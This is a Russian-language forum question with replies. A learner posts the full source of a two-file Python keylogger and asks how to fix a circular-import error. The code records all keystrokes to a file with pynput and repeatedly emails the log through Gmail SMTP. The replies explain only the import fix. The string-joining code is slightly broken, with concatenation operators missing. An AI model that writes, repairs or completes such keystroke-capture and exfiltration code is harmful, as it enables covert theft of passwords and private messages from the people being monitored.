#python
#python
Вопрос:
Я создавал некоторый код кейлоггинга для моего первого проекта безопасности.
У меня есть 2 файла кода Python с именем mainKeylogger.py (запись ключевого журнала) и mailFunc.py (автоматически отправлять почту с файлом кейлоггинга) в том же каталоге. Когда я выполнил mailFunc.py произошла ошибка, которая..
AttributeError: partially initialized module 'mainKeylogger' has no attribute 'keylogFileName' (most likely due to a circular import)
Вы знаете, почему возникает ошибка и как ее исправить?
Я искал информацию о «циклическом импорте», возможно, это потому, что я еще недостаточно разбираюсь в программировании, поэтому я не очень хорошо понял.
Мне нужна ваша помощь.
Все 2 кода, которые я написал, приведены ниже.
mainKeylogger.py
from pynput.keyboard import Key, Listener
import logging
import logging.handlers
import os
import time
import datetime
import mailFunc
import threading
if os.path.isdir('C:\Keylogging') == False:
os.mkdir('C:\Keylogging')
log_dir = ''
now = datetime.datetime.now()
currentTime = now.strftime('%Y-%m-%d_%H-%M-%S')
logging.basicConfig(filename=(log_dir "C:\Keylogging\" currentTime "Key.txt"),
level=logging.DEBUG, format='["%(asctime)s". %(message)s]')
keylogFileName = "C:\Keylogging\Key_" currentTime ".txt"
def on_press(key):
logging.info('"{0}"'.format(key))
with Listener(on_press = on_press) as listener:
listener.join()
mailFunc.autoEmailSend(keylogFileName)
mailFunc.py
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import os
import time
import schedule
import threading
import mainKeylogger
def autoEmailSend(filenametosend):
#erased because it is my private information
email_user = '(erase)'
email_password = '(erase)'
email_send = '(erase)'
subject = 'Keylogging Automatic Report'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Keylogging Report at ' time.strftime('%c', time.localtime(time.time()))
msg.attach(MIMEText(body,'plain'))
filename = filenametosend
attachment = open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment", filename= os.path.basename(filename))
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,email_password)
server.sendmail(email_user,email_send,text)
server.quit()
print("Mail Sended at " time.strftime('%c', time.localtime(time.time())))
threading.Timer(30.0, autoEmailSend).start()
autoEmailSend(mainKeylogger.keylogFileName)
У меня пока нет большого опыта в этой области, и я изучаю английский, поэтому я, возможно, не смогу хорошо объяснить проблему (на английском языке). Я прошу вашего понимания.
Комментарии:
1. У вас есть два модуля, которые пытаются импортировать друг друга. Это создает циклическую зависимость. Вам нужно удалить один из импортированных файлов. Цепочка импорта должна формировать граф без циклов (ориентированный ациклический граф или DAG).
Ответ №1:
когда вы импортируете файл, вы можете напрямую использовать его переменные
autoEmailSend(keylogFileName)